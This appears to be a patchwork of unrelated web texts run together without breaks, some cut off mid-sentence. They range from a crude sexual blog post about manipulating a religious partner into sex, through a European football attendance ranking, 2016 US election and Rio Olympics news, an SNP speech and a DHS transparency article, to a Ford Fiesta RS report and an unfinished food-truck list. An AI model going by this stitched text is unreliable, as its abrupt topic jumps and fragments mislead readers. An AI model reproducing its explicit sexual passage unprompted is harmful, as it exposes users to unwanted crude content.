sin against god's plan, you know.Me: Right. More wine?What do I say then? You trump everything with the J man, and I have to change the subject, because to debate the issue is to bring up your faith, which is pretty much not debatable. I mean, sure, I could just say I believe this because a magic pie I worship tells me so, but where would that leave us? Pretty much right here.The toughest part is, all of your holiness is really getting in the way of my porno titfuck fantasy of you. I mean, I really want to do this, it's completely absorbing my thoughts lately, but I feel like Jesus is standing between me and my desire to make love to your breasts. I can almost see his face right in your cleavage saying, No! You will not fuck these titties, non-believer!So, since nobody really knows what Jesus would do anyway, I'm enlisting the Son of God to get me on your tits. And here's my plan: I'm going to play along with your Jesus land fanstasy for a bit, and slowly convince you that, yes, Jesus wants us to get freaky. Any act that inspires you to yell his name in ecstasy HAS to be god's will. So, baby, let's fuck for Jesus.Amen.this is in or around Loop10+ Ranking: Europe’s top attendances (2012 edition) 12.09.2012 19:12 source: StadiumDB.com
How many football clubs in Europe have crowds of over 10,000 per game? How does the top ten look? And how many clubs from your country are listed? You’ll find answers for all of these questions below!
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First time in English, though published in Poland since 2008, we present you with a complete list of all European clubs that have following of at least 10,000 people per home game. Thus the name 10+ and just as naming itself, we hope that putting all data in just two tables will be clear for all readers. We hope to keep it simple as every year over 200 football sides in Europe have attendances averaging above the limit.
In this case every year means of course crowds from last finished season (2011/12 for most of Europe, 2011 for Scandinavian leagues).
Why are we doing it? Because we believe reaching the 10,000 point shows potential and interest in football, which we hope will become apparent once you finish reading. Having regular crowds of that size is quite an achievement in many countries as most European states haven’t got even one stadium that fills to that point...
TABLE 1. Number of “10+ clubs” per country
Only 23 countries have stadiums that regularly fill above the 10,000 mark. As always, podium is reserved for England, Germany and Italy, though decrease of Italian football may clearly be seen and with numerous new stadia being built/designed in France ahead of Euro 2016, third spot seems open in upcoming seasons. Especially that Spain, another European powerhouse, is evidently running out of manpower apart from several top sides.
A dynamic change can be seen in Central and Eastern Europe with Russia having 9 clubs with crowds between 10-20,000. Interestingly, it’s not the first time that club from outside of Moscow or Saint Petersburg has largest crowds, with Kuban Krasnodar following the footsteps of Krylja Sovetov a few years back. Top Ukrainian ones (Shakhtar, Metalist, Dnipro and Dynamo) are strengthening their position with new stadiums in each city. New venues, built mostly ahead of Euro 2012, also brought a record grow in Poland with 5 clubs on the list, compared to barely one in 2009. On the downside, however, it’s clear that all of those 5 have to work harder to fill their stadia with only one having stands filled in more than 50%.
A negative trend can be seen in several other leagues. Only two Austrian sides had reasonably big crowds and none of them were the champions – Red Bull doesn’t even have every third seat taken. In Greece only Olympiacos managed to get on the list with none of their toughest competition managing to do so. Romania, Israel and Czech Republic are further countries that saw a significant decrease recently.
But before we leave you with the table, a success story comes from Serbia with Crvena Zvezda finally breaking the vicious circle that seemed to hold all four Yugoslavian superpowers (Zvezda / Partizan / Hajduk / Dinamo). Since 2009 attendances at the Belgrade’s Marakana tripled and are now reaching 20,000.
No. of clubs Country Domestic leader 44 England 3. Manchester United (75,387) 33 Germany 1. Borussia Dortmund (80,521) 22 Italy 15. AC Milan (49,020) 21 France 24. Paris Saint-Germain (42,882) 19 Spain 2. FC Barcelona (75,844) 14 Netherlands 13. Ajax Amsterdam (50,147) 9 Russia 103. Kubań Krasnodar (20,001) 6 Ukraine 37. FC Shakhtar Donetsk (36,983) 6 Switzerland 54. FC Basel (29,775) 6 Belgium 68. Standard Liège (25,113) 5 Portugal 25. SL Benfica (42,646) 5 Poland 98. Legia Warszawa (20,928) 5 Sweden 165. AIK Solna (13,865) 4 Norway 153. Rosenborg BK (14,510) 3 Scotland 12. Celtic (50,904) 3 Denmark 141. FC København (15,148) 2 Wales 83. Cardiff City (22,100) 2 Austria 137. Rapid Wien (15,767) 1 Turkey 43. Galatasaray (34,685) 1 Greece 90. Olympiakos Piräus (21,523) 1 Serbia 106. Crvena Zvezda (19,783) 1 Romania 133. Steaua (16,192) 1 Czech Republic 208. Sparta Praha (10,322)
TABLE 2. 10+ Clubs
As is tradition, England has a lot more clubs than any other country and this seems impossible to change with even 4th league Bradford having following of 10,171 – nowhere else in Europe this level of the football pyramid enjoys that kind of crowds. On the other hand, though, German clubs are the ones occupying more top spots, having some of European largest audiences – of 10 largest followings in Europe 6 can be found in Germany and only one of those crowds isn’t close to capacity (at Hertha’s Olympiastadion).
European podium changes barely year to year, always being settled between Barcelona, Borussia, Manchester United and Real Madrid (in alphabetic order). This time it was the German champions atop thanks to their Westfalenstadion having massive terracing instead of seats during domestic games. Manchester with sell-out crowds every season are dependent on their rivals’ attendances. This year Barcelona was one more to have larger audiences, but Real came 4th.
One surprise clearly seen in European top 10 is no Italian side. In previous years it was always either Inter (20th) or Milan (15th) at San Siro having one of largest crowds in Europe.
France, despite having impressive number of 22 clubs on the list also doesn’t have any powerhouse close to the top. Best season in years for PSG was only enough for 24th spot. France is bound to have a new leader soon with reconstruction of the Velodrome ongoing in Marseille and Lille having broken their all-time high for season tickets.
Similar record was also the case for Galatasaray who are seemingly outgrowing domestic rivals with their ticket sales. Though this is the only club that actually publishes attendance data in Turkey, it’s almost sure that neither Fenerbahce, nor any other side may compete as news was released that over 40,000 season tickets have been sold for the new season, meaning a further leap of “Galata” in next year’s 10+ Ranking is almost certain.Their party in crisis, Republicans' frustration with Donald Trump reached new heights on Wednesday as party leaders on Capitol Hill and inside New York's Trump Tower scrambled to persuade their presidential nominee to abandon divisive tactics that have triggered sinking poll numbers and low morale.
Party chairman Reince Priebus appealed to the New York billionaire's adult children to help amid new signs of a campaign in trouble.
Trump's operation has been beset by internal discord, including growing concern about general election preparedness and a lack of support from Republican leaders, according to two people familiar with the organization's inner workings.
One of the people said Trump privately blames his own staff for failing to quiet the backlash from his own party after he criticized an American Muslim family whose son, a U.S. army captain, was killed in Iraq.
The inner tension comes as Priebus and handful of high-profile Trump allies consider whether to confront the candidate directly to encourage a new approach following a series of startling stances and statements. In the midst of the uproar over his continued criticism of the Khan family, Trump infuriated Priebus and other party leaders by refusing to endorse House Speaker Paul Ryan's re-election.
The officials, including one with direct knowledge of Priebus's thinking, were granted anonymity to discuss internal strategy after one of the most tumultuous weeks of Trump's presidential campaign.
Trump dismisses frustration
Trump on Wednesday dismissed suggestions that the frustration was hurting his campaign, even as he openly contemplated an election day loss.
"Wouldn't that be embarrassing to lose to crooked Hillary Clinton? That would be terrible," he said during a campaign stop in battleground Florida. He also insisted, "We've never been this united."
The most powerful Republicans in Washington and New York's Trump Tower concede things will not change unless Trump wants them to.
"The candidate is in control of his campaign," campaign chairman Paul Manafort told the Fox News Network, highlighting his inability to control the nominee. "And I'm in control of doing the things that he wants me to do in the campaign."
Clinton, meanwhile, kept up her assault on Trump's business practices, holding up a Trump-branded tie as she spoke at the Knotty Tie Company in battleground Colorado.
"I really would like him to explain why he paid Chinese workers to make Trump ties," she told employees in Denver, "instead of deciding to make those ties right here in Colorado."
Trump blamed the media — "so dishonest" — for growing criticism of his recent statements and his unwillingness to accept guidance from senior advisers.
Privately, however, Trump has concerns about his own team.
He was deeply upset when party leaders "took the other side" during his quarrel with the Khan family, one person said, and blames his campaign staff for not keeping top Republicans in line. Another person said Trump is irritated that general election planning in battleground states isn't further along with less than 100 days until election day.
The internal tension is complicated by Trump's frequent travels without his senior advisers and his adult children, who wield significant influence in the campaign, the people close to the campaign said.
Trump's operation has been beset by internal discord, including growing concern about general election preparedness and a lack of support from Republican leaders, two people familiar with the organization's inner workings told the Associated Press. (Eric Thayer/Reuters)
There's been no follow-through on a plan presented earlier this summer to have one of the children or son-in-law Jared Kushner travel with Trump most of the time.
While the children have made some appearances with their father — for instance, Eric Trump attended Tuesday's rally in Virginia — work obligations and other commitments, including a hunting trip the sons have lined up, have posed scheduling conflicts.
"I would say in the last couple of weeks, he has been remarkably under-performing and we'll see whether or not he can take a deep breath and learn these lessons," said former House Speaker Newt Gingrich on Fox Business News.
Trump's vice-presidential nominee, Indiana Gov. Mike Pence, tried to put a better face on a recent difference during a phone interview with Fox.
Pence said he spoke with Trump Wednesday morning "about my support for Paul Ryan and our longtime friendship. He strongly encouraged me to endorse Paul Ryan in next Tuesday's primary. And I'm pleased to do it."
Trump stunned Republicans by telling the Washington Post in an interview Tuesday that he wasn't ready to endorse Ryan, who faces a primary contest in Wisconsin next week. Ryan has backed Trump despite deep differences on policy and temperament, and has encouraged other Republicans to unite behind the party's nominee.
Former Trump adviser Barry Bennett acknowledged signs of poor morale among the campaign staff he maintains contact with, but he also said it would be silly to dismiss Trump's chances with three months before election day.
"This would be the end of any other Republican candidate in the history of the country. And he's only five or six points behind," Bennett said.
Indeed, Trump on Wednesday reported raising $80 million in July for his campaign and the Republican Party, a significant improvement from past months. Clinton raised about $90 million over the same period.
Privately, Trump points to his recent fundraising success, large rallies and decent polling against a seasoned candidate as evidence that his campaign is working well.
And his loyalists continue to stand behind him.
"The media is blowing this out of proportion significantly," said New Hampshire Representative Stephen Stepanek.Rodrigo de Freitas was the venue for the Rio 2016 rowing test venue
Rio 2016 organisers have scrapped plans for a 4,000-seater stand at the rowing and canoeing venue as part of a $500m (£353m) cost-cutting measure.
Brazil is in a deep recession that is affecting all aspects of the Olympics, which begin on 5 August.
Only about half of the 4.5 million Olympic tickets aimed at the domestic audience have been sold.
The numbers are much worse for the Paralympics, with only 300,000 out of three million domestic tickets sold.
"We are a bit worried with the Paralympics,'' said organising committee spokesman Mario Andrada. "We have to educate, publicise."
He added: "We have cut some services and made some important corrections.
"We have a balanced budget, with some creative solutions. Many of the future Games will be inspired by what we do today."
Organisers are scaling back in a number of areas to balance the operating budget of £1.3bn, with the proposed grandstand at the Rodrigo de Freitas lagoon in central Rio de Janeiro one of the casualties.
The number of unpaid volunteers has also been cut from 70,000 to 50,000.If adopted by the mayor and Halifax's regional council, the facilitator's report on the Blue Mountain-Birch Cove Lakes Regional Park could mean the end of the park and the wilderness area.
Instead another suburb will be built where the long-promised regional park should be.
The facilitator |
be delivered more effectively and it would save hard-pressed consumers money.
The SNP deputy leader told the conference: "We estimate that it will cut energy bills by around 5% - or £70 a year.
"Not a short-term measure - but a real and lasting cut in Scottish energy bills."
The minister went on to demand that the coalition government at Westminster ditch its spare room subsidy, which is described by critics as the ''bedroom tax''.
But she said if it refused to act, the current Scottish government would allocate "up to £20m" for a second year to help those who have been affected.
The White Paper will be Scotland's detailed guide to independence - it will make the positive case Nicola Sturgeon, Deputy First Minister and deputy leader of the SNP
Ms Sturgeon also announced that the Holyrood administration would fund the Poverty Alliance to deliver a Living Wage Accreditation Scheme to "promote the living wage and increase the number of private companies that pay it".
Turning to the issue of health, Ms Sturgeon said a UK-wide approach "would be the worst thing that could ever happen to the Scottish NHS".
She added: "Westminster privatisation of the NHS is not wanted in Scotland.
"Scotland's national health service is staying in public hands."
Ms Sturgeon went on to warn that Westminster MPs in all the UK parties were "itching to abolish the Barnett formula and cut Scotland's share of spending".
She said: "So, I say this to everyone yet to make up their mind [on independence]. Consider carefully the arguments for a Yes vote. Subject them to scrutiny and ask the tough questions.
"But do not ever let anyone pull the wool over your eyes about the consequences of a No vote.
"They are clear and they are real. Scotland's social security system will be dismantled; Scotland's public services and universal benefits will be under threat and Scotland's budget will be cut.
"The risks of a No vote are real."
Answering questions
Ms Sturgeon promised that the Scottish government's White Paper on independence, which is due to be published next month, would "answer all your questions".
She added: "The White Paper will be Scotland's detailed guide to independence.
"It will make the positive case. It will explain the process by which we will become independent and describe how our newly independent country will work.
"It will set out the gains of independence for you, your family and for your community."
Towards the end of her speech, Ms Sturgeon said: "The vote in 2014 is not a vote for or against the SNP.
"It is a vote for or against the power to take decisions in Scotland."
She insisted that an SNP government after independence would bring the mail service back into public ownership; reverse welfare reforms; protect state pensions and get rid of Trident nuclear weapons.“We stand behind our election results, which accurately reflect the will of the American people,” a senior Obama administration official told POLITICO late Friday. | AP Photo White House insists hackers didn't sway election, even as recount begins
The Obama administration said it has seen no evidence of hackers tampering with the 2016 presidential election, even as recount proceedings began in Wisconsin.
“We stand behind our election results, which accurately reflect the will of the American people,” a senior administration official told POLITICO late Friday.
Story Continued Below
“The federal government did not observe any increased level of malicious cyber activity aimed at disrupting our electoral process on election day,” the official added. “We believe our elections were free and fair from a cybersecurity perspective.”
Green Party candidate Jill Stein on Friday filed for a recount in Wisconsin and has several days to file for recounts in Pennsylvania and Michigan, two other states whose results she has called into question, citing hacking fears. The three normally Democratically leaning states were crucial to Donald Trump's victory.
Stein’s campaign began fundraising efforts to file for recounts in those states following a report from New York magazine that said prominent cybersecurity experts were urging Hillary Clinton’s campaign to contest the results there. The leading voting security specialist from that group later clarified that there was no actual evidence of hackers meddling with the vote tallies, and said they were simply encouraging an audit just to be sure.
On Saturday, the Clinton campaign broke its long silence on the issue with a statement from the campaign’s general counsel, Marc Elias.
In a post on Medium, Elias confirmed that independent experts had briefed the campaign on potential irregularities that could be the result of hacking, but he said that ultimately the campaign found no “actionable evidence of hacking or outside attempts to alter the voting technology.”
Still, he said, the campaign is joining Stein’s challenge in Wisconsin and will do the same if she requests recounts in the other states.
The senior Obama administration official reiterated the government’s accusation that Russia had directed its hackers to go after U.S. political organizations and political operatives’ email accounts with the goal of interfering in the election.
Moscow, the official said, “probably expected that publicity surrounding” leaked emails and documents “would raise questions about the integrity of the election process that could have undermined the legitimacy of the president-elect.”
The official had earlier provided the statement to The New York Times.Last month marked a major milestone: the first anniversary of the publication of the first article based on the documents leaked by Edward Snowden. The former National Security Agency contractor smuggled out a trove of an estimated 1.7 million classified documents not just because of his deep moral qualms about the way the United States government was digitally surveilling its citizens, but also because the lack of transparency within the system made it impossible for those citizens to object to programs they had no idea existed in the first place.
Snowden exposed everything from the widespread monitoring of the cellphone metadata of millions of Americans to the government’s tapping of the private phone of German Chancellor Angela Merkel. Regardless of whether you think he’s a hero or a traitor, there is now an infinitely wider conversation about the role of NSA than ever before.
While the NSA programs revealed by Snowden are largely unprecedented, the secrecy with which they were guarded isn’t. The NSA isn’t the only arm of the government with an institutional tendency to keep its actions, policies, and official documentation away from the light of public scrutiny.
In talking with nonprofit groups and journalists at numerous levels—from award-winning investigative reporters at national publications to student journalists who just needed simple on-the-record quotes from an official to avoid failing an assignment—one agency consistently seems to engender the most frustration: the Department of Homeland Security (DHS).
Created in 2002 as a post-9/11 amalgamation of 22 different agencies, DHS has gained a reputation for opacity. From the ways the department processes Freedom Of Information Act (FOIA) requests to providing basic information about its everyday operations, DHS’s issues with transparency are simultaneously wide and deep—spanning across many of its multitude of divisions and running into the very heart its institutional culture.
In the past year alone, DHS was given a failing grade on the Center for Effective Government’s Access to Information Scorecard—the only agency to score lower was the State Department. Last year, its Customs and Border Protection (CBP) division received the inaugural Golden Padlock Award by the nonprofit group Investigative Reporters and Editors for?refusing to make public the details of use-of-force incidents involving its agents.”
A massive Snowden-esque leak may not solve the transparency problems at DHS, but it’s easy to see why many department observers might welcome one.
?All in all, it’s pretty frustrating”
In June of 2012, Sarah Weber got an email.
Weber, currently an editor at the Daily Dot, was working at a newspaper in Sandusky, Ohio. The message was from a reader pointing out a gaping hole in the paper’s local law enforcement coverage:
There are an awful lot of white and green border patrol vehicles around the Sandusky area. Must be looking for problems on our coastline. Sandusky police have their arrests and other actions printed daily in the [Sandusky] Register. But have never seen one word published about Border Patrol arrests or activities. How come?
– Charlie on Cleveland Road
Weber shared the author’s frustration with the paper’s lack of information about the CBP station that had been set up along the shore of Lake Erie approximately two years prior. By that time, she had spent innumerable hours on wandering endlessly through a maze of bureaucratic red tape simply looking for basic facts about precisely what the 50-some border patrol agents were doing in her community. She started by setting up an interview with the head of the local office. The meeting went well until she started asking for documents about the names and charges against the people who are arrested or detained by local CBP agents, information that’s typically publicly available from law enforcement agencies in Ohio.
After being directed to CBP’s headquarters in Washington, D.C., Weber was told the agency wouldn’t provide names. So, she amended her request, asking for time/date, place, nationality, and reason for each arrest. Eventually, all she got was a mile-high stack of redacted documents.
?We really wanted to see patterns on who was being arrested, but we were never able to get this information,” she explained.?We were also denied access to information about people being housed in local county jails—which are subject to Ohio public records laws—where [border patrol] had leased cells to house their own detainees. We had no idea how many and how long inmates were housed or what happened to inmates after they were arrested.”
In the end, all Weber could do was respond to Charlie by writing the newspaper had similar concerns and wished the department placed a high enough value about its position in the local Sandusky community to put a premium on transparency:
While we understand the need for national security, having zero access to information on what’s happening in our own back yard seems wrongheaded too. For all we know, Sandusky could be a major illegal immigrant or drug smuggling thoroughfare. Or we’re the squeakiest clean town in these United States. Without access to records on the number and types of arrests federal agents are making locally, we just can’t know either way.
Weber’s experience is far from unique.
?All in all, it’s pretty frustrating to work with CBP,” recounted Andrew Becker, a staff reporter at Center for Investigative Reporting who has spent years reporting on immigration and border issues.
One instance that sticks out in Becker’s mind as being particularly egregious stemmed from a story he’d been working on about the department’s use of polygraph tests as part of its hiring process for new agents.?I’ve had pending interview requests on that one that have dragged on for months, if not a year,” he said.?They just basically declined, declined, declined.”
Becker insists that the biggest problem is consistency. He regularly has to file and then fight for the same FOIA requests for the same information over and over again, even it the information was made public the prior year. He has to endlessly jump through the same hoops because, as he sees it, there’s no controlling vision in the agency for releasing information or applying the FOIA law. In addition, he’d regularly give department sources ample time to comment for articles he was writing only to see them wait until the very last minute to make someone available, if at all—and then often mandating that he attribute quotes to an unnamed official rather than anyone specific.
?Certainly it seems like there are many different efforts within the agency to really control the flow of information and in some cases limit information that’s in the public interest,” Becker said.?How efficiently is the agency run? What kind of internal issues have they had that the public should be aware of? How effective are they in controlling borders? It’s all become very politicized.”
DHS certainly has a history of controlling the release of information in order to minimize potential political fallout. In 2011, the department was embroiled in a scandal stemming from accusations that political appointees were altering the document searches on FOIA requests from media outlets and nonprofit groups deemed hostile to the administration. Congressman Darrell Issa (R – California) released a scathing 153-page report on the topic, sardonically entitled?A New Era of Openness?” —although the report’s hostile bent likely had more than a little to do with the fact that the political appointees in question were placed there by a Democrat president.
Becker reported on another instance of DHS’s Immigration and Customs Enforcement (ICE) division monkeying with publicly available numbers for political ends. In 2010, he worked on a story for the Washington Post looking into allegations that ICE had intentionally fudged the deportation numbers for the year in an effort to bolster the Obama administration’s case that it was getting tough on border security as a way to convince Republican leaders to come to the table on comprehensive immigration reform.
However, it’s impossible to argue that political considerations are the only reason for the department’s lack of transparency.
For one, it’s important to remember that DHS is only 12 years old. Figuring out how to streamline information requests often requires a cross-cutting institutional memory that may not necessarily exist. At the same time, a lot of the departments within DHS have been around for far longer than that. While the overarching structure may be new, the individuals agencies are likely often still beset by problems of old-outdated legacy technology inhibiting department officials’ ability to do things that would seem simple and commonplace to users of more modern equipment.
There’s also the issue of the sheer volume of requests. Not only does DHS get the most information requests of any federal agency, but the overall number of those requests have skyrocketed in recent years—approximately doubling since 2008.
Even so, technical issues can only explain a portion of DHS’s issues with FOIA compliance. Just as the number of FOIA requests have increased, so have the number of times the department has claimed exemptions from having to fulfill those requests.
“From my general experience, most of it tends to be cultural more than simply a lack of resources,” charged Mark Horvit, the executive director of Investigative Reporters and Editors, the organization that gave CBP the Golden Padlock Award last year for steadfastly refusing to disclose?even the most routine, basic information” about the shooting deaths of Mexican citizens by border agents.?In most places in America, if a police officers shoots someone, you can get reports, you can get documents. This is just refusing to give information about something that’s clearly in the public interest so we know if these shooting are justified or if there’s a problem.”
CBP did eventually did make public a significant amount of information about use of force on the U.S.-Mexico border, but only after months of dragging its heels. The agency released, for the first time ever, the official use-of-force policies not just for the divisions that work at the border, but for the entire department. In May, it even made public a long-anticipated report by the Police Executive Research Forum about agent’s use of deadly force at the border.
Even so, the problem, Horvit said, stems from the department not putting a high value on being transparent with the public:
“Resources are legitimate reason why it might take longer to respond than it otherwise should. But if you’re routinely not making reports available about a certain kind of incident, that’s not a manpower issue. If you’re routinely not answering questions about your actions on a particular issue, that’s not an manpower issue. The same person who refuses to speak could also answer the questions. It’s usually not a function of resources, it’s a function of attitude.”
?Openness in everything except for national security”
Much like DHS itself, OpenTheGovernment.org is a creature of the world shaped by 9/11. The Washington, D.C.-based nonprofit is a coalition of about 90 groups that run the gamut of advocating for everything from public libraries to food safety. According to Assistant Director Amy Bennett,?every issue in D.C. benefits from government openness. They need to FOIA to see how a program is being managed or they need to see whether or not local streams are being polluted,” and OpenTheGovernment.org does much of that FOIA legwork for them.
The organization was created because, in the aftermath of 9/11, a lot of information that the government used to make publicly came down in the name of national security. People would file FOIA requests for the sort documents they had been easily obtaining for years, suddenly to no avail.
?The George W. Bush administration had a policy where, just because they were legally allowed to withhold something due to a FOIA exemption, the government should take advantage of it,” Bennett explained.
The Obama Administration came into office pledging to have the?most transparent administration in history,” and, despite the claim being vitriolically disputed by conservatives with some regulatory, things did get better—at least to an extent.
?Obama said he would let out more information unless there is a foreseeable harm [in making it public],” Bennett said, noting that, for a lot of people who frequently file a lot of FOIA requests, the change in policy did make a demonstrable difference.
“Some agencies have really responded well to Obama’s challenge to make the the government more open but they’re generally agencies that are used to working with the public anyway like NASA or the EPA—ones that are really sensitive to what the public thinks.” she added.?But, in the national security realm, change has been a lot harder. Especially when the message from the top is openness in everything except for national security.”
Even so, DHS is under considerable pressure to at least appear responsible to the public and much of that comes in the form of the department being required to release annual reports on its progress complying with FOIA requests. This reporting is a procedure every federal agency has to go though and contains a lot of information, from the number of requests each agency processes to a record of its oldest, unanswered complaints.
Ginger McCall, a director at the Electronic Privacy Information Center, charges that not only does DHS have a tendency to take a wide interpenetration of the exemptions permitting the agency to avoid disclosing information, but it also engages in some fairly shady practices designed to make it seem like officials are more responsive to public information requests than they actually are.
She recalls an instance when her organization, which typically files just over half a dozen FIOA-related lawsuits against various government agencies each year, was attempting to learn more about the airport body scanners program being run by the Transportation Security Agency (TSA), which sits under the umbrella of DHS. She made the FOIA request and began waiting for the agency to turn the relevant documents. She ended up waiting four whole years before TSA officials finally got back to her. They said that she had 30 days to let them know if she was still interested in getting the information or else they would summarily close the request.
McCall recalls being shocked by the sheer gall of it. She had been waiting years for a response and then was told that she only had the window of a few weeks to respond.?After this occurred, I reached out a few other groups [that regularly file FOIAs with the agency] and asked if DHS had done similar things to them,” she said,?and they had.”
What’s likely going on here, explained Bennett, is that this technique is a relatively simple way to DHS to clear it backlog of old FOIA requests.
?They take the requests that are at the very bottom of the queue and send out emails or letter saying that if we don’t hear back from you in 30 days, we’re going to consider this request closed,” Bennett said.?But, if a few years have elapsed, maybe the person who made the request in the first place changed phone numbers or doesn’t work there anymore. All DHS has to do reach out once, wait a month, and the close the request like something was actually done.
?It’s taking advantage of the statistic of making yourself look good without really putting in the work to make information available to the public.”
?A lot like feeling around in the dark”
There’s a fairly convincing counter-argument to charges about the DHS’s opacity. The department’s primary mission isn’t to tell the American people what its doing—its primary mission is to keep the American people safe.
?DHS officials are intensely aware that they have national security and law enforcement responsibilities and those often times are in the driver’s seat over the urge to be more open,” Bennett said.
However, it is in those instances where the department’s goal of protecting the life and property of American citizens infringes on that third leg of that constitutional stool—liberty—that transparency becomes important.
Last year, Sarah Abdurrahman and her family were detained at the U.S.-Canada border on the way back home after attending a wedding in Toronto. They were held in a pair of facilities along the border for hours, repeatedly interrogated, had their personal effects and electronic devices searched—all the while being kept kept in the dark about why they were being held.
While most people subjected to this type of treatment have little recourse, Abdurrahman had a weapon in her back pocket: She is a producer at the NPR radio show On The Media. Abdurrahman’s story, a recounting of her experience and recording of her largely frustrated attempts to figure out the reason for her detention, anchored a full hour-long show about the difficulty almost universally experienced attempting to get information out of CBP.
?I never ultimately got a sense of why my family and I were targeted,” Abdurrahman told the Daily Dot. “I am of Libyan descent, so maybe it’s because Libya has been in the news a lot over the past couple years. But it’s a lot like feeling around in the dark.”
Even after the show was aired, she never heard a peep from anyone at CBP or DHS. Who she did hear from was the public.
“We had a lot of people calling and writing in and saying that something like that happened to them,” she recalled, noting that the story triggered a wave of response that was almost universally positive.?Not knowing the reason behind being targeted is what makes this so difficult. You don’t know if this is just going to be the norm from now on. If this is going to happen every time I try to leave the country. Am I going to be put on the no fly list? Am I going to be detained indefinitely without warning? It’s worrisome because you don’t know what could be next.”
Part of the show involved the creation of a tool called Shed Light on DHS, which allows people to easily contact their elected representatives and put pressure on them to improve transparency at the department.
Abdurrahman says she doesn’t think it’ll make a huge difference overnight, but convincing lawmakers that their constituents think keeping America safe and letting Americans know precisely how DHS keeping them safe shouldn’t be mutually exclusive.
It’s something that Hovit, whose group doles out the Golden Padlock award, noticed when he started tallying up nominations for the award.
?The other finalist last year weren’t law enforcement agencies at all. They consisted of a job creation agency in Ohio, a transportation agency in New Jersey, the tax commissioner in Georgia and the Center for Disease Control,” he said.?This year’s list, which hasn’t been made public yet, isn’t dominated by law enforcement agencies either.”
For its part, DHS officials insist they’re doing the best they can. “Openness and transparency between the Department of Homeland Security and the public are critical to our security mission,” agency spokesperson S.Y. Lee wrote in an email to the Daily Dot. “DHS is committed to accountability and being responsive to all FOIA requests in a timely manner.”
Photo via Jay Sekora/Flickr (CC BY SA 2.0) | Remix by Jason ReedThe prospect of a Ford Fiesta RS remains with Ford executive vice president of global marketing, sales and service, Steve Odell, hinting that Ford RS will gain a higer profile in future. That could eventually mean a hot Fiesta RS to join the new Ford Focus RS in Ford's hot hatch range.
Speaking on the eve of the 2016 Detroit Motor Show, Odell said that: “The RS brand is really valuable. People race it. People collect it. I believe there is room to expand.” He refused to elaborate on exactly which (if any) models would gain a flagship RS derivative. If the RS range is to expand then surely the Fiesta must be high on the list of models set to get an RS version.
• Ford RS: a history of fast Fords
Auto Express reported that Ford had plans for a Fiesta RS early in 2015 after company bosses strongly suggested to us an RS model was on the horizon for this generation of Fiesta, before the all-new model appears in 2017. “The current Fiesta has another two- and-a-half years before it’s replaced. We’ll update the ST within that period, and after that there could be something else,” said Tyrone Johnson, senior vehicle engineer for Ford Performance, at the time. Johnson’s hint tallies with Ford’s strategy of introducing RS models towards the end of a car’s lifecycle, and suggests a 2017 launch for the Fiesta RS.
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Ford Fiesta RS: rivals, specs and performance
The Fiesta RS would fall in line with the brand’s plan to build 12 globally developed performance models by 2020, it’s tipped to take on the Audi S1 and forthcoming VW Polo R, and will join the new Focus RS at the most extreme end of the hot hatch spectrum.
• Best hot hatches on the market
Our exclusive image shows how Britain’s best-selling car could be transformed into a boy racer’s dream, complete with a trio of gaping intakes, bonnet vent, blistered arches and big wheels with a wider track.
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The most interesting changes are expected to take place under the skin, where the Fiesta’s front-wheel-drive layout could be swapped out for four-wheel drive, boosting traction significantly. It would also mirror Audi and VW’s strategy with the powertrains of the S1 and Polo R, and draw closer links with the RS-badged Fiesta WRC car.
• Best cheap fast cars
As for power output, Peugeot has already proven it’s possible to extract 270bhp from a 1.6-litre turbo, so expect the Fiesta to stick with its 1.6 EcoBoost engine, but tuned to at least 250bhp.
While Ford no longer financially backs the Fiesta WRC effort, it maintains a technical relationship with the M-Sport team, so will look to it for tips on building a reliable, highly tuned, small-capacity turbo engine and converting the Fiesta chassis to all-wheel drive.
Ford has flirted with the idea of a Fiesta RS in the past, when it introduced the Fiesta RS concept at 2004’s Geneva Motor Show, but the business case fell apart. However, it’s believed that with the global success of the current Fiesta ST and two confirmed petrolheads at the helm of the company – Jim Farley (chairman and CEO, Ford of Europe) and Raj Nair (Ford group vice president, global product development) – the project is more likely this time around. As always with Ford, price will be key.
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The ST’s success has been underpinned by its £17,395 starting figure, so the RS should undercut the S1 by kicking off from about £22,000.
And don’t expect it to be a stripped-out track special, as Johnson explained: “It’s not hard to build a car that’s extreme in one direction; it’s getting the whole package right that matters.”
Johnson also offered some interesting insight into the hierachy of Ford’s performance car product plan. “There will be three categories that each of these 12 cars will fall into,” he said. “Enhanced technology – models like the Fiesta ST and Focus ST. High performance – things like the F150 Raptor, Mustang GT350R and Focus RS. And then Ultra high-performance, which is the Ford GT.”
We asked if a new Fiesta RS could fall into the second bracket, and he smiled, saying: “Theoretically, it’s a possibility.”
Do you like the sound of a hot Fiesta RS? Let us know in the comments below...The popularity of food trucks has really taken off in the past few years, especially in the biggest cities where people are looking for quick and delicious gourmet food on the go. Food trucks offer convenience, variety and high quality food for affordable prices. Even though every food truck is constantly moving, the most popular companies have loyal fans that will seek out their services and come to them. Large, highly populated urban cities seem to attract the best food trucks that create a booming business in their market. These are the best cities where you can easily find quality gourmet food trucks.
1. Los Angeles
The biggest city in California and the second most populated city in the U.S. is an urban metropolis with an innovative food scene. Los Angeles has hundreds of gourmet food trucks offering everything from cupcakes to lobster. Food trucks in L.A. often have colorful and memorable designs but the food is what really attracts loyal followers. The most popular food truck in L.A. is Kogi B.B.Q. which offers flavorful Korean tacos that became so highly sought after that they were able to open up two restaurants offering their fare. L.A. though has endless choices for delicious food trucks that have every kind of food imaginable.
2. Austin, Texas
When it comes to classic southern barbeque, Austin has some of the best options in Texas that are convenient and cheap. Most food trucks in Austin offer typical Texas fare like barbequed meats and biscuits or Mexican food but there are also some popular Asian fusion options and plenty of dessert trucks. The trucks also have clever and kitschy names like “Hey! You Gonna Eat or What?” or “Biscuits and Groovy”. With more than 1,000 trucks throughout the city, Austin is one of the best places to enjoy gourmet food in the southwest.
3. New York City
It is not surprising that one of the biggest cities in the world has some of the best variety of food trucks you can find. You don’t have to go far in New York to come across one of the many gourmet trucks offering diverse options like Kimchi tacos, Taiwanese-style fried chicken, Greek souvlakis and vegan donuts. New York is one of the easiest places to find food trucks close by and the variety of options makes it one of the top food truck cities in the country.
4. Seattle
The rainy city of Seattle may not have as many food trucks as some of the bigger urban areas but it has some of the most delicious gourmet foods in the state of Washington. There are some unique and interesting options for food trucks in Seattle like Native American-inspired food from “Off the Rez” featuring traditional options like fry bread. There are also some one-of-a-kind food trucks that offer Hawaiian-Korean tacos and sliders to hungry eaters or Cajun-style southern comfort food like jambalaya and po’ boy sandwiches.
5. Washington D.C.
